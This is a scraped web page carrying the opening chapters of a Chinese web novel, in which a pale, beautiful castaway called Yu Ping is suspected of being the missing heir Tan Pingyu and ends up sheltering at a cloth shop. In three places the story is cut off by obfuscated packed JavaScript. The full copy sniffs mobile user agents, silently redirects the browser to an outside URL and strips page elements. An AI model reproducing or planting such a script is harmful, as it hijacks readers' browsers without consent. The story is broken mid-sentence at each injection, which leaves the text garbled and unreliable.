《装穷金丝雀今天掉马了吗》 1. 海岸 “这也不像啊?” 两个身形迥异的人物,手执一张寻人启事,面面相觑,视线最终交汇于被海浪推上滩涂的一人。 其中较有官威,且身材如新月的一位——姑且称其为瘦子。瘦子郑重展开一张寻人启事,复述其上六个大字:“苍白、美丽,健壮。左手大拇指,戴一只满绿翡翠扳指。” 滩涂则是一位年轻伙计,钳制着另一位满身脏污的人的双颊。听见瘦子旨意,伙计意图抹去他脸上脏污,实则笨手笨脚地把泥沙在他脸上摊平抹匀。 另一位身材圆满的则为胖子。胖子频频摇头:“他有哪一项?” “哪一项都没有。” 瘦子、胖子、年轻伙计,三个人坐在他边上哀叹连连。 瘦子手中宝贵的寻人启事,发自海滨大城市枢城。光洁厚实的宣纸上,规整地列着蝇头小楷。 ——谈家四少爷谈凭玉,于近日失踪。如有知情者,请前往谈公馆说明。若消息确切,赏黄金万两,其余任何所求皆可面议。 叱咤枢城的谈家,如今正在度他们最大的难关。四少爷谈凭玉的失踪,令整座城市陷入□□。铺天盖地的寻人启事飘扬在枢城各大街道,以至于几百公里外的鹭镇,也紧跟这次时髦。 麻氏先祖清朝行商时途径鹭镇,认准风水宝地,扎根后生生不息,还以经商所得的余利为镇上盖房修路,现今他们的好人形象早在鹭镇深入人心。 然而德高望重的麻家,当今一代里却出了个小皇帝。 麻家五爷,好高骛远,不愿继承家里的茶叶产业,想借寻出谈家失踪的四少爷,伺机卖谈家人情,以便在枢城也有一席之地。他指派家里伙计在鹭镇唯一的滩涂边没日没夜地巡逻,把鹭镇带动得同样鸡犬不宁。 伙计忽然惊叫一声:“他醒了!” 那人巴掌大的脸全被滩涂烂泥覆盖,胖子喝止所有人轻举妄动,小心翼翼地拭去他眼角污泥。苍白皮肤至此显露出来,愈发衬得五官浓重,一双狐狸眼堪称勾魂夺魄。 “这么漂亮的眼睛!” 胖子对他赞口不绝之余,不忘卖弄学识,“你记不记得几天前讲的《聊斋志异》?只有书里顶美的狐狸精,才能够长这种眼睛。” 瘦子却拦下胖子继续往那人脸上泼水,居高临下地问道:“你叫什么名字?” 才从滩涂里九死一生,又被三个阴差般的伙计架住,谁能安之若素?那人筋疲力尽,蚊子般细小的答复远不及海鸟叫鸣。三只耳朵贴在他唇上也听不清。 许久后年轻伙计灵光一现: “俞平!” 伙计雀跃道,“他说他叫俞平。” “听清了?” “废话。名字还能编出来?” 福至心灵的瘦子,回归正题:“我们要找的人叫什么?” 作捧哏的胖子,高声邀功:“凭玉!” 瘦子便十分笃定:“这就是一个人。” 胖子才舍得解开腰间水壶,以他宽厚的手掌蘸水而为俞平清洗。乌黑的泥沙逐渐从皮肤上剥离,连嘴唇都毫无血色的俞平,得到了胖瘦二人一致好评: “苍白。” 被俞平一双狐狸眼勾去魂魄的胖子,附加道:“美丽。” 瘦子往俞平的胳膊上掐了把,自欺欺人道:“太健壮啦。” 随即胖子大手一挥:“带他去见我们五爷。” 从来都是载稻谷的推车上铺了张门板。眨眼都费劲的俞平,被伙计轻而易举地扛了上去。 三个人里伙计拉车,瘦子走在车旁。胖子不嫌伙计辛苦,一同坐在板车上乘便利,板车被他压低了腰椎,他腿却不长,只有脚尖不断踮在地面。 出了滩涂是一段麻石路。颠簸之间,俞平原本半是昏迷半是清醒,愣是空洞地睁开双眼:远处旭日正东升,高矮不一的房屋接连不断;陌生的城镇在晨光里正向他娓娓道来。 “来精神啦?” 除去路面,搅合他安逸的还有胖子。胖子释然笑一笑,高深莫测地向他预告,“我先给你报个喜,等下你要见到的麻五爷,可是我们白鹭镇上大名鼎鼎的人物。” 瘦子道:“做十世好人,才能见我们麻五爷一面。” 俞平不止打量他们——胖子声音尖利,瘦子口齿不清。两个人凑出一副贼眉鼠眼,无论上下秩序,谁看都不是好东西。 胖子唱:“见了五爷要磕头。” 瘦子和:“最好像条哈巴狗。” 连拉车的伙计都要掺和一脚。伙计的声音顺着他拉车而青筋毕露的手臂,传到俞平耳边: “我们五爷年方二一,仪表堂堂,待字闺中,洁身自好。” 他很不放心俞平似的,大声说道,“我们鹭镇上下,是人是鬼都想做他的姨太太。你可别被他勾去魂魄啦!” 一声声吹捧麻五爷的叫唤,却没有使得俞平提起丝毫兴趣,声音虚弱问道:“这是哪里?” 胖子看他一眼:“我家五爷扎根的鹭镇。” “没听说过。” “是没听说过我家五爷,还是没听说过我们鹭镇?” “全部。” 胖子恼火道:“你好大的口气!一会到了我家公馆,给我注意一点!” 俞平真不想搭理他,再闭目养神,好不容易盼来路面不再颠簸,他的呼吸没有绵长太久,又被一掌拍醒。 胖子就算看他不顺心,照样扶着他下板车,走路时不忘叮嘱:“你初来乍到,对我们这样就算了,千万不能对五爷闹脾气。” 筋疲力尽的俞平,脚掌早不堪承受身体的重负,走路时双腿哆哆嗦嗦。 然则抬头看见面前的建筑与城镇的气息格格不入,尤其是红门上一块“麻公馆”的牌匾。牌匾是枢城的玩法,这座貌似富丽堂皇的麻家公馆,却出土于挤满青菜萝卜的田埂。 路都走不稳,俞平却有余力嗤笑一声,道:“东施效颦。” 瘦子尚未被他狐狸眼睛蛊惑,保持几分做家丁的自觉,反应迅速,照他后背踢了一脚,斥道:“说什么话?” 俞平本就踉跄,转眼又跪倒在地上去了。瘦子不肯罢休,往他身边啐了一口:“见到我们五爷,也记得要跪成这样。” 胖子哎哟叫唤着,主动收拾烂摊子,把俞平背在身上。 红门此时开了条缝。只露出窄窄一线的管家,神色紧张道:“往后门走!” 说罢门又关上了。 伙计愤懑不平:“后门从来都是堆垃圾的,我们好歹为五爷办事。把我们当什么了?” “别看枢城谈家能够呼风唤雨,藏污纳垢的地方多了去。我家老爷为人正派,今天做生意回来,不想知道五爷要和他们攀关系,言尽于此。” 瘦子瞄了眼俨然是行尸走肉的俞平,几次欲言又止,还是忍不住,话中有话道,“凡事都是一样的,别看这人长得漂亮,身段……身段也漂亮,背地里不知道干什么勾当。” 胖子转而教育伙计:“忘记我们五爷平时怎么对你的,走后门还委屈了?” “没有,没有。” 那一行人朝后门进军得鬼鬼祟祟,尤其俞平软绵绵搭在胖子肩头,更是可疑。 管家早就派其他伙计在后门接应,他们几个猫着腰穿过后花园,来到角落处的柴房。小门吱呀一声关上,伙计们自发从中对半分,站往两旁。 俞平失去胖子帮扶,疲软无力地瘫倒在地。柴房地面本就不是给人躺的,凹凸不平,俞平身体雪上加霜地懈怠着,便是保持一个诡异的跪拜姿势,昏倒得心安理得,任由逐渐逼近的宽阔投影笼罩在其中。 投影主人的声音,随黑暗的影子传递给俞平。出乎俞平的料想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而麻五爷却像新年的爆竹一般炸开来,当真是拿俞平做威风。他朝伙计们痛心疾首地滔滔不绝。 “人家叫凭玉,你叫俞平,还和我说你们没关系。” 他指责道,“你骗你自己就算了,还想骗我,把我当什么了?” 尚不等俞平作出反应,胖子那里一波又起。 “就是,把我们五爷当什么了!” 胖子指挥着他们的乐队,“我们五爷是什么东西,三二一起!” 瘦子那排百花齐放:“我们五爷是江南雪。” “我们五爷是天上月。” “我们五爷是玉皇大帝。” 藏不住洋洋得意的麻五爷,捏空拳向上扬起:“收。” 又道:“苍白美丽健壮,还有一枚满绿翡翠扳指。扳指呢?” 俞平好不容易跪坐到地上,伸出一双手,道:“哪里有扳指?” 五爷不应,光是踱步上前,捉他的手腕子来看。两个男子相处,也没有如此放肆的道理,真是哪里来的登徒子?一上来粗枝大叶地捏人手心。边上也没个鸣不平的,那群人平时七嘴八舌,这时都作了哑巴。 亏是体力不支,俞平缩手不及,由他折腾一番,恨恨道:“谁准你碰我了?” 五爷笑道:“你若是谈四,金枝玉叶的,我定不来碰你。” 俞平冷声道:“混账……” 五爷道:“嗳,就是混帐。” 他手上力度分毫不减,动作比先前更狂妄。少倾眉毛一挑,把俞平的手扬给他们看:只见大拇指弯凹陷一块。 2. 破晓 胖子、瘦子、活计,欢呼不止,阿谀的鬼话阵阵。五爷睨俞平一眼,道:“你有什么要解释的?” 俞平冷冷地看着他。 若是常带扳指戒指一类的,手上必然出勒痕。何况谈四手上的正是传家宝,不能轻易摘戴。外人没有清楚他长相的,光靠扳指判断他身份,经年累月,勒痕自然不浅。 五爷笑一笑,单膝跪地,伸手道:“翡翠扳指呢?” 俞平道:“哪来的翡翠扳指?” 他看着倒真不像个戴扳指的。身上的布衫被海浪刮成了布条,也没个形状。依稀见到手肘、膝盖处密密麻麻打补丁。 可他长得实在太美。脸上毫无血色,兴许有些鬼气森森,却凸显五官更是精雕细琢,还从没看过长得和他一般美的人物。穷人是守不住美貌的,美貌不过是多了一根方便人捉拿的尾巴。 五爷犹豫片刻,道:“四爷,我叫你一声谈四爷,别和我装了。” 俞平道:“我要是谈四,你敢看我手,我早开枪了。” 瘦子看五爷眼色上前,弯腰至他耳畔,道:“五爷,谈四一定配枪呢!我看他纯粹是只狐狸,海底修炼成精,碰巧漂来鹭镇,男人的那杆枪也不见得有。” 五爷眉头一皱,道:“恶俗啊。” 瘦子嘿嘿笑着,退去一旁。 “那么,你手上的勒痕算怎么一回事?”五爷道,“你要是解释的出缘由,我放你走。” 俞平对他没什么好感,不愿睬他,说什么都不肯好好答:“我有什么好解释的?你还真是五爷,一点常识都没有。” 五爷遭他噎着。年轻伙计上前道:“五爷,你看他手指细,他若是在裁缝店做学徒,手上戴顶针,也能一式一样地勒出来。” 五爷起身,居高临下朝俞平道:“你还有什么要解释的?” 俞平道:“没有。” 五爷点点头,朝一旁发号施令:“搜他的身。” 边上三人你看看我我看看你,竟没有一个吭声的。五爷一瞪,才有胖子道:“五爷,我们不敢。” “有什么好不敢的?”说罢攥着俞平的衣领。 俞平没什么挣扎的体力,仍由他向上提,唯独眼神冷冰冰地盯着他不放。 然而五爷这话也是强撑,没有直视俞平的勇气,别过头去,胡乱在他身上拍着。他一身破布条藏不住什么行囊,唯独上衣里袋鼓鼓囊囊,五爷伸手一掏,寻出一只香囊。 俞平挣扎的动静才大了些——五爷见其中必有玄妙,赶忙甩脱了俞平。他动作大,俞平跌跌撞撞后退之余,不料香囊也掉在二人之间。 俞平腿脚软,又伏在地上喘气,挣扎着向前爬,再要捞那香囊。五爷一脚踢远了,拿在手上看。填充其中的棉花浸了海水,又僵又硬,捏在手里像是捏了个小石子。 所有家当被他毫不客气地把玩着,俞平要解释也是顺理成章,道:“快到端午了,香囊留着防蚊虫。” 麻五爷不满道:“这么旧的香囊。” “我毕竟不是俞五爷。” 俞平的身体被他们折腾后更加羸弱,没曾想到伶牙俐齿一概保留着。瘦子闻声大步跨来,正要一脚抬起——五爷喝止道:“别动粗。” 瘦子脚步遭他打断,东倒西歪地打起趔趄。胖子扶他时,半分责备他,半分抬高麻五爷道:“君子动口不动手,五爷真英雄本色。” 那边的交响乐团奏响第一声提琴: “五爷英明神武。” “五爷宰相肚里好撑船。” 瘦子讪讪退后:“多谢五爷提点。” 麻五爷重归正题,从本该放领巾的口袋里,摸出了另一张寻人启事——谈四鲜少有照片留存,真心实意寻人的谈家,聘请画师,照着大小姐和三少爷,将失踪的谈四的面孔呈现纸上。 大小姐是谈四的胞姐,谈三谈四好歹年龄相仿。画出来只会大差不差。 白描线条稀疏几笔,麻五爷将宣纸覆盖俞平脸上,惊奇地见证纸下透出的脸,严丝合缝对上了画像中的一切。 他感叹道:“一模一样。” 于是再度落在俞平的目光,贪婪与怜爱难以确切其言。俞平猜得出他心中所想,抢先道:“我不知道你们在说什么谈凭玉,我只是俞平。” 五爷道:“字怎么写?” “‘至死不渝’的‘渝’去掉偏旁,平是‘平平无奇’的平。” 约莫是重新把寻人启事叠整齐,五爷尚未搭理他。他的表情倒是把他出卖得彻底,料想几位伙计心中不约而同想在一起——叫着这么平平无奇的名字,相貌真是举世无双。 半晌后五爷再开口:“你不用如临大敌。你究竟是不是谈凭玉,我心里都有数。我认得他。” 俞平不响。 五爷又道:“当年我去枢城,被他带人狠狠揍了一顿。常言道,‘君子报仇,十年不晚[1]’,他那张脸,我一辈子忘不掉!” “是。”瘦子道,“我们五爷和谈凭玉百余名手下,酣战足足五百回合。谈凭玉实在狡诈,用车轮战术,我们五爷体力不支,惜败啊,惜败。” 俞平心里泛起嘀咕——这人好说歹说也是个爷,如此丢脸的事情居然如数家珍。真是有钱能使鬼推磨,什么都往外讲; 只是麻五爷早已蹲在他身前:“抬头。” 他自然不肯。五爷也没希望他准许,手指已然轻轻托起他的下巴。 想来五爷早把他看了好几遍,他却一遍没仔细看五爷什么相貌;五爷必然是英俊的,可这无礼之徒要是称得上英俊,再英俊也叫人反胃。可惜他这时眼冒金星,只听见一声叹息—— 五爷松了手,道:“还真是狐狸精……” 年轻伙计欣喜若狂道:“五爷当年从枢城回来,也说谈凭玉长得像狐狸精。我看不论什么俞平凭玉,都是一家出来的。” 五爷难得纠结,小声道:“那还是他漂亮。” 瘦子道:“当心被蛊惑了,他怎么能漂亮?” 胖子连忙捂了他的嘴。 铁证如山的画像呢? 麻五爷充作正人君子地咳了两声,转而把宣纸挪到自己脸前。只见血缘上毫无关系的谈四画像与麻五,五官排布之间也有许多相似之处。 伙计们吃惊的功夫,五爷便宣讲开了: “我觉得谈凭玉根本没有失踪。” 以白鹭镇人的眼界而言——枢城风云中厮杀而出的谈家,老谋深算程度不可估量。 何况谈凭玉自小便在层层保护下,从未公开露过面,难得出门吃饭,方圆五里都要清场。这般谜一样存在的人物,某天突然宣称失踪了:荒唐与否姑且不提,谈家的人情谁不想要?急欲攀龙附凤的权贵大户不在少数。谈家的阴谋正是埋藏于此。 “谈家和我们家一样行商,我爹教育,做生意最忌讳不诚信。” 麻五爷信誓旦旦,道,“他们是借机梳理人际关系。” 在俞平的气息奄奄当中,真正急欲攀龙附凤的声音如约响起: “五爷神机妙算。” “五爷配享太庙。” 然后俞平又被拉了起来。他气息奄奄,眼睛也睁不开,手腕后贴着一片正宗英国花呢,纵使不想知道都知道情况如何。五爷抱他像抱一只猫咪。 “我说五爷说的是!谈凭玉这种鼠辈小儿,怎么可能有他这么漂亮。” 胖子讨功劳道,“只有我们麻五爷这般正人君子,才是真英俊非凡,才貌双绝!” 瘦子那边立刻会意: “五爷是诸葛孔明的祖师爷。” “五爷比嬴政都有丰功伟绩。” “那天若非在枢城,要给谈凭玉让面子,我怎么可能甘拜下风?真要一对一单挑,他不是我的对手。” 麻五爷道,“方才怎么样,大家都有数。别看俞平什么都不是,可他见到我一点也不害怕,他怎么可能是谈凭玉?若真是谈凭玉见我,早吓得浑身哆嗦。” 胖子指挥的小调圆舞曲,由伙计就此拉开序幕: “我们五爷有神威。” “我们五爷真阳刚。” “我们五爷一身正气,堪比照妖镜。” 尤为激动的瘦子,想踹俞平却不敢向前,呸道,“狐狸精!” 随后为以理服人——麻五爷再是晃了晃怀抱中的俞平,首先挑起刺道:“哪里健壮?” 又心满意足看向胖子,道:“你在水里泡几天,你比他还苍白。” 至于—— “美丽?” 话已至此,五爷几丝犹豫难掩,但他依然秉持公平公正,道,“就算我觉得他美丽,枢城那群妖魔鬼怪会认可吗?这点我不评价。” “我们五爷公平公正。” “我们五爷是奥林匹克的裁判员。” 这番不光证实五爷多么光辉伟大,同样预示一切赏金都与他们无关了。失败的气息在柴房里弥散开来,浮于云端的巨款与人脉消散后,如何打发俞平成了麻烦。 五爷把俞平抱到边上柴堆,俞平靠在柴火上喘气,认定粗糙树皮不比麻五爷的胸膛挠人。 胖子慈悲为怀:“我们鹭镇在枢城周边还算富裕,干脆把俞平留下来吧。” 瘦子工于心计: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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前门聚集麻公馆所有人物,欢迎老爷的呼喊如雷贯耳,可谓一石激起千层浪: “恭迎老爷!” 瘦子一哆嗦,碘酒洒了满地。 俞平倒是对瘦子的忙碌熟视无睹,心安理得受他伺候。 瘦子不满道:“你比我们五爷派头都足!” 俞平平静道:“说笑了。” 瘦子愈发气不打一处来,然则有麻五爷命令在上,俞平的伤口又遍布全身,瘦子光是焦头烂额都没时间,几乎要把药箱掏空。 好不容易把俞平伤口灌醉,包扎完毕后,瘦子马不停蹄翻出一套新布衫,道:“我家老爷回来了,你先出去避一避。晚些我们接你回来。” “都放我走了,我怎么回来?又说笑。” 瘦子懊恼道:“别不知好歹!” 胖子早在门口催促不止。一排伙计打折蹩脚的掩护,俞平被快马加鞭地送出了后门。 前门是麻家的阖家团圆,后门是独属于俞平的凄风苦雨。俞平的伤口并未因为碘酒烟消云散,痛苦就算了,还要受到佣人的告诫。 瘦子郑重其事道:“我们姑且没时间安顿你了,你随便找个地方避一避,切莫说你来过我家公馆。” 紧随其后的是胖子。消失许久的胖子,灵巧地钻出后门。他将两个粗面馒头塞进了俞平的怀里:“我们五爷赏你一口饭。” 刚出炉的馒头冒着白烟,俞平勉强咬了一口,来不及吞咽,便抑制不住地干呕起来。 那两个人全然是看马戏一样欣赏起俞平。他们不约而同地感叹道: “可怜人,从来没吃过这么好的馒头!” 还是胖子察觉出俞平的艰难:“给他倒碗水,他都咽不下去。” 可惜瘦子学他们五爷只在皮毛,装腔作势道:“暴殄天物。” 已然挤进后门的瘦子,发自肺腑开始惋惜,他说俞平又不是没牙老翁:“这么好的馒头,居然不能细细品味,还要用水灌下去。” 瘦子端水而来时,胖子早朝俞平嘘寒问暖。瘦子嫌他没出息,往他身上踹了一脚,把水端给俞平。 胖子被踢了也不恼,光顾着和俞平说话:“虽然不知道你从哪来的。既然你已经吃饱喝足,就赶紧上路吧。” 俞平愣道:“我能去哪?” 胖子思索片刻:“镇上有家布店,老板是好人。我们五爷时常照顾他们生意,你去那里避一避,晚点再回来。” 瘦子道:“嗳,他哪认路?” 正中胖子下怀,嘿嘿笑道:“我送他去。” 围墙里头鸡鸣一声破开晨空,崭新一天方才启动。 3. 布店 体型如此宽大一位胖子,背上驮着个满身伤口的美人,在大街上行进,着实有些打眼。 不知怎的,今日来往街坊邻居众多,也没说是有集市。胖子自以为把鹭镇上所有人见了个遍,平日里见到他总会为了麻家的情面寒暄两句的人物,此时却是脚步匆匆。 胖子难免好奇,再走一段路,见到所有人共同挤在小小一方天地之间,声音此起彼伏。 “难怪五爷疯了似的。” “从秦朝开始攒钱,也攒不下这么多钱。” 胖子心里想一探究竟,察觉出来俞平貌似也有此意,便来到人群边缘。 “黄金万两!” 喊出这话的那人,下一句话是审视自己的,“我一个月才挣八块大洋。” 胖子仰头对俞平道:“他们说的是我们五爷方才问你的。这热闹你还要去凑吗?” 俞平哦了一声,道:“要来抓我的。” 这话说得属是误会,胖子原本就不想与俞平结怨,安慰道:“我们五爷已经为你洗脱了冤屈,你不用担心。” 忽然又有一声疑问自叽叽喳喳中脱颖而出,因由不知天高地厚而格外响亮: “谈凭玉是什么玩意,值这么多钱?” 胖子正要出发去往布店,感到身上俞平一僵,猜是俞平若是四肢健全,必要钻到最里面听八卦;便善解人意地停了脚步。 片刻后有人回答先前的话语。 “枢城的。”回答的这人压低了音量,“太阳都要和谈家打过招呼才准升起!” 大胆妄为的那人,继续问:“谈凭玉和我们麻家相比,哪个厉害?” “这种话怎么好说出来,你还是别问啦,要掉脑袋的!” “你怕什么?” “谈家可是枢城最有名望的家族,什么麻家,在他们面前就是一只蚂蚁。” 热火朝天的交流被谈四的只手遮天掩盖了,人群静默了许久时间。 胖子身上的手同样发挥作用。俞平拍了拍他的后背:“怎么不走了?” 胖子嘿嘿笑道:“马上,马上就走。” 重新上路时候,胖子向他介绍起鹭镇。鹭镇是毗邻枢城几座城镇里最发达的一座,小镇生活舒适美好,镇口还新建了一座电影院。这一切得益于麻家的不断造福——提及麻家,胖子必然少不了好话: “你下次见到我们五爷,对他态度好点。我们五爷是好人。” 俞平嗤笑道:“他把你养得这么胖,当然是好人。” 真是一恢复精力便亮出浑身锋芒。胖子倒也没把他从背上请下来,闷闷道:“这么不客气。” 俞平不与他说话,在他背上闭目养神。 再转过几道弯,布店的小门敞开着。胖子背他跨进门槛,走两步石子路,俞平眯眼看见小院里尽是盆栽,种植的都是些不知名的花草,兰花最多,品相倒是一般。 胖子叫道:“詹老板,何老板,店里有没有人!” 不见得有人回应,胖子自作主张把几条长凳拼在一起,把俞平安放下去。 长凳自然不如胖子满身肥肉舒服,俞平正要抗议,抬眼看见楼梯上水红色旗袍裙沿翻飞,一双漆皮皮鞋怒气冲冲地踏了下来。 “吵什么?吵死了知不知道,天要塌了!” 胖子捂住耳朵,发出蚊子般细小的声音:“兰香小姐,你爹娘呢?” 兰香往楼梯口吼道:“爹!娘!” 两声喊完后着实空虚,兰香回头瞄了眼俞平,再攀在楼梯口:“有个人死在我们店里!” 俞平干脆装死,躺在长凳上一动不动。 苦了胖子,在两位长辈下来前,无论如何也没把俞平的眼皮撬开;詹老板与老板娘何氏的面色着实吓人,俞平面容苍白,身上更是鲜血淋漓,真像个死人。 胖子无计可施,在俞平耳畔低语一番:“俞平爷爷,我也求您啦,您先复活,我才能想别的法子。” 俞平才挣扎着想要坐起来。胖子站在他身后充作靠背。好不容易等到眼冒金星散去,俞平终于看向布店里三人,那三人的脸色比先前还要煞白。 只有兰香胆子还算大,上前弹了弹俞平的鼻尖:“你没死吗?” 俞平无力地点点头。 然后兰香兴奋地传达这一切:“他是活人!” 胖子双手作揖道:“今日凌晨他被海浪冲上滩涂,奄奄一息,是我们五爷救他一条命。无奈我家老爷回家啦,老爷爱子心切,怕这人太晦气,损了五爷的吉利,这才想先来布店避一避。” 又愁眉苦脸道:“詹老板,何老板,兰香小姐,行行好,就收留他半天功夫。我们五爷是要对他负责到底的,晚上就来把他接走。” 两位长辈闭口不语,兰香擅自解读道:“我知道了。他不但是个活人,还是个男人,更是五爷的情人。” “什么活人,什么男人,什么情人?”胖子慌忙道,“五爷是他的恩人!” 兰香不屑道:“你们五爷做好事,怎么要避着亲爹?一定是五爷自己心中有鬼。” “小姑娘瞎猜什么,别说你每天在学堂就学这个。” “这么着急?必然是我说对了吧!” 胖子真是苦不堪言。俞平替他说明,道:“我行船遭遇海难,顺流漂在滩涂。是被他们所救。” 胖子的腰板才挺直了些。布店里两位长辈交头接耳一阵,老板娘何氏慈爱地坐在俞平身旁,茶水倒在手绢上,替他擦了擦面孔。 詹老板问道:“听你口音还算熟悉,你是哪里人,怎么会落到水里?” “我从小在枢城长大,后来在香岛生活了几年。我是个水手。” 俞平无力倒靠在何氏身上,“出海的时候不幸遭遇风浪,船侧翻了。我运气好,漂到岸上。” 胖子荒唐往前拱了拱,道:“这说出来我都不相信。你长这么漂亮,怎么可能做水手?” 俞平两眼一闭,道:“我是五爷的情人,这身伤就是被他折腾出来的,请大家好好看看。” “突然开什么玩笑呢?哈哈哈,真有意思。” 胖子转而正色道,“詹老板,这回我要怪你有眼无珠。我一下就看出来了,他正是一位资深水手。” 兰香翻着白眼,不断朝胖子扮鬼脸。胖子自知理亏,也没底气教育她。 他们争论不休时候,俞平借机打量起布店:店铺的陈设简洁明了,黑漆木的柜子,防尘的白布笼罩着货架,最底下有五彩斑斓的边沿露出来。一派务实作风。 詹老板看看俞平,犹豫问道:“五爷预备怎么打发他?” 胖子道:“等他恢复精力,把他送回枢城。” 詹老板道:“他不留在鹭镇?” 胖子便朝詹老板笑一笑——他们五爷正是鹭镇上最为艳丽一只花孔雀,每个月都要去枢城玩几天,最主要是买衣服。有时候在枢城没见到心仪式样,便买了布匹送至布店剪裁。胖子瘦子替他搬运多了,对布店的情况也算熟悉。 布店的大儿子詹兰竹。也是个好高骛远的主,不肯继承家里店面,削尖脑袋要去枢城大户人家做短工。此时在茶山为五爷运输一批茶叶,正是要发往枢城。 原本布店还能自给自足,长子长大后,常年少个力气足的少年,才感觉出空缺。招工的布告常年贴在外头,鲜少有人来应聘。 胖子再看看俞平,腹诽倘使詹老板愿意留下他,定不是因为他一身力气。问道:“俞平,我看詹老板很喜欢你,你是要留在布店,还是来我们公馆?” 不料俞平片刻不犹豫: “我喜欢布店,请老板收留我。”俞平往何氏身上靠了靠,又道,“我什么都能做,也不要薪水,老板为提供被褥就行了。” 何氏惊讶道:“当真?” 俞平笃定道:“当真。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060942|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 兰香插嘴道:“我家阁楼闲置,可以留给你。” 胖子立马着急了:“这是我们五爷的人,怎么被你们布店要去了?” 兰香阴阳怪气道:“怎么成你们五爷的人了?莫非五爷真要娶他呢。” 堂堂麻五爷,年方二十一了依旧是清白之身,说出去着实不太好听。胖子被人揭了短似的,迫切要证明自己: “五爷再着急娶妻,也轮不着他。” 胖子吹嘘道,“兰香小姐,你去问问,谁不想嫁给我们五爷?五爷自己都要挑花了眼。” “五爷这么出名,我们学堂这么多届,只听说有爱慕他的师哥师姐,恨不得变成小虫爬进麻公馆的锁孔,却从来没有真正与他传出过绯闻的。我就知道他不正常。” 兰香轻蔑道,“说不定五爷等的就是他!否则大海这么大,他凭什么偏偏来到我们鹭镇?这是上天注定。” 胖子气不打一处来,兰香便更加得意:“告诉你家五爷,他没这份姻缘。这人我们要了。” 胖子道:“做事讲究先来后到,我们五爷先发现的他,怎么被你们截胡了?” “人家有手有脚,又不是小宠物。他自己说要留在布店,五爷自作主张不算数。” 詹老板喝止道:“兰香,少说几句。” 但是兰香越战越勇,还往胖子身前凑了凑: “五爷这么多佣人,按你说好像也不缺情人,多他一个留在麻公馆,能有什么用。” 兰香撇撇嘴道,“给小葱雕花?” 胖子被她说得毫无还手之力,许久才辩白道:“俞平是枢城人,我们五爷把他收留在公馆,伤养好了,再把他送回枢城,继续做他的水手。” 又道:“我们五爷不是情人遍地,我们五爷是宁缺毋滥,洁身自好。常人没有我们五爷这般境界,你这种小女孩心肠很坏,不理解他也正常。” “我看是五爷自己有毛病,否则为什么不结婚?”兰香刻薄道,“在枢城做水手也是过日子,在我家做长工也是过日子。他自己说想要留在布店,就让他留下来吧。” “兰香,少说几句。” 詹老板颠来倒去就这一句话,也不奇怪兰香如此跋扈;笑脸都是做爹的赔去的,詹老板还算地客气说了几句体面话,“毕竟是五爷先发现的人家,五爷晚上要见他。不论留在哪里,都让他自己来和五爷说。” 胖子喘息道:“詹老板,还是你明事理!” 说罢他肚子一颠一颠地走了,背影很是落败。 兰香扯开嗓子道:“不送了!” 美人还在店里,胖子走时不放心,回头再惦记一眼,远远见俞平笑眼盈盈,才清楚他眯着一双狐狸眼,旁观了整场战局。 胖子心里顿时愤懑不平——自己出丑却是叫他看一出好戏!再漂亮有什么用,这样的妖孽不要也罢了。 布店重归来时的宁静,俞平喝了几碗清茶,勉勉强强靠自己坐稳在长凳上。 何氏为他倒水时问道:“你年纪多大了?” 俞平道:“十八。” 短短相处时间,兰香认为与他投缘,自然帮他说话,告诉父亲道:“哥哥十九岁,和他年纪差不多!” 三双眼睛都期盼地看向一家之主。詹老板却是不着急说什么,盯着俞平的面孔好一阵子。 “我做生意时常往枢城跑,与一些大户人家也有交往,我知道你在撒谎。水手常年风吹雨打,绝不会像你一样。你到底是做什么的?” 詹老板正言厉色,威吓道,“你要是不和我说实话,我不会留你。” 这话听得母女二人皆是怔怔的,约莫是谁也没想到这一点。俞平倒也不躲闪詹老板的目光,单是没有答复而已。待到门口落下几只喜鹊,在阳光下晾着黑色羽翼,俞平才幽幽开口: “情人。” 俞平古怪一笑,“我给少爷做情人。” 4. 玫瑰 夜里兰香一道护送俞平去麻公馆。 红门威严立在面前,兰香不放心,道:“五爷确实是个好人,不会为难你的。” 俞平一点感觉不出。却平静道:“我知道。” 好说歹说也是在麻家手里抢人——俞平初来乍到,不害怕姑且不提;兰香是后知后觉地担忧起来,在门口踌躇半晌,握紧了俞平的手: “要是实在不行……” 兰香战战兢兢,道,“麻公馆里有一位我的小弟,叫做阿吉。你向他报我的名字,他会带你钻狗洞逃出来。” 俞平忍俊不禁道:“不至于你说的这样,放心好了。” “你认路吗?” “多碰几处壁也就认路了。” 兰香提着灯笼,告别道:“话挺能说的。早些回来!” 直到她走出街口,俞平才敲了敲门。 照样是白天见到的管家,斗胆开了条缝,见到是俞平,总算松了口气:“你来得巧,我家老爷歇下了,否则要叫你走后门呢!” 俞平道:“我来找五爷。” “我知道,你是白天被捡回来的。五爷吩咐过我们。” 管家在前面引路,回头得实在频繁了些,搭话道,“其实我不知道你长什么样子,可你一来,我马上就知道是你了,你说为什么?” 俞平勉为其难捧场道:“为什么?” 管家眉飞色舞道:“他们说你特别特别美,比书里画的狐狸精都好看。” 如此夸赞着实话糙理不糙,无奈管家看着又着实诚恳,不夹带一丝杂念,俞平想反驳也找不到缘由,便是默不作声地走了一路。 